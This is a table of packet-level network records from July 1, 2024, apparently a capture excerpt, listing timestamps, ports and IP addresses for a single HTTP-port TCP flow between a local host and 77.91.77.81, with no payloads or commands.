Jul 1, 2024 07:21:02.534992933 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535017014 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535023928 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535034895 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535039902 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535047054 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535137892 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535142899 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535149097 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535156965 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535202980 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535202980 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535281897 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535289049 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535300970 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535306931 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535314083 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535324097 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535330057 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535336018 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535336971 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535342932 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535348892 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535358906 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535382986 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535490990 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535496950 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535507917 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535542011 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535628080 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535633087 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535643101 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535649061 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535653114 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535659075 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535664082 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535676003 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535676956 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535684109 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535693884 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535695076 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535700083 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535703897 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535715103 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535722017 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535729885 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535732031 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535736084 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535742998 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535748005 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535759926 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535763025 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535765886 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535769939 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535779953 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.535798073 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.535816908 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536312103 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536319017 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536329985 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536334991 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536340952 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536345005 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536355972 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536360025 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536361933 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536367893 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536379099 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536382914 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536384106 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536392927 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536392927 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536400080 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536406040 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536420107 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536425114 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536426067 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536433935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536449909 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536453962 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536458015 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536469936 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536473036 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536478043 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536494017 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536494970 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536501884 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536506891 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536511898 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536516905 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536519051 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536524057 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536529064 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536540031 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536540985 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536547899 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536552906 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536566019 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.536573887 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536592007 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.536604881 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.537303925 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537312031 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537322998 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537336111 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537342072 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537353039 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537353992 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.537358999 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537365913 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537378073 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537384033 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537384033 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.537386894 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537394047 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537399054 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537404060 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.537410975 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537416935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537420034 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.537425041 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537436008 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537441015 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537447929 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537447929 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.537452936 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537460089 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537465096 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537476063 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537480116 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.537481070 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537487984 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537492990 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537503958 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.537504911 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537509918 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537517071 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.537518024 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.537547112 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538099051 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538105011 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538115025 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538120985 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538130999 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538136005 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538146019 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538146973 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538153887 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538160086 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538160086 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538167000 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538172007 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538183928 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538189888 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538192987 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538203955 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538209915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538220882 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538223028 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538227081 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538238049 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538245916 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538249969 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538250923 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538259029 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538261890 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538265944 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538279057 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538285017 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538288116 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538290977 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538296938 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538301945 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538306952 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538314104 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538319111 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.538331985 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538348913 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.538362026 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539038897 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539046049 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539056063 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539062023 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539066076 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539072037 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539077044 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539087057 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539091110 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539103985 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539110899 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539115906 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539124012 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539125919 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539129972 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539130926 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539134026 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539146900 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539150953 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539160967 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539167881 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539175034 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539180040 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539191961 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539191961 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539200068 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539200068 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539215088 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539216042 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539228916 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539232969 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539241076 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539247036 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539252043 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539258003 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539262056 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539263964 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539269924 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539282084 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.539288044 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.539314032 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540007114 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540023088 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540034056 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540040970 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540045977 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540051937 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540056944 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540066004 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540070057 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540076017 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540081978 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540081978 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540087938 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540095091 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540102005 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540102005 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540107965 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540113926 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540118933 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540121078 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540124893 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540132046 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540138006 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540141106 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540146112 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540160894 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540163040 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540169001 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540169954 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540174961 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540189028 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540200949 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540225983 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540743113 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540749073 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540760994 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540766001 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540771008 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540776968 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540781975 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540787935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540793896 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540796995 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540807962 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540813923 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540817976 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540821075 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540827036 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540832043 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540832996 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540838003 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540844917 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540851116 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540852070 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540868044 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540884018 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540890932 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540895939 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540898085 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540903091 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540909052 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540915012 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540920973 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540926933 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540932894 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540939093 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540945053 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540949106 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540950060 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540957928 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.540965080 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540987015 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.540993929 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.541697979 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541711092 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541717052 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541723013 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541728020 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541733980 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541739941 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541745901 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541757107 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541759968 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.541763067 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541769028 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541781902 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541786909 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541793108 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541795969 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.541800976 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541807890 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541809082 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.541814089 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541821957 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541826963 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541832924 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.541836023 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.541845083 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.541857958 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.541884899 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.542192936 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.542197943 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.542208910 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.542217016 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.542220116 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.542231083 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.542237043 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.542242050 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.542243004 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.542256117 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.542258024 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.542263031 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.542273998 CEST	80	49726	77.91.77.81	192.168.2.6
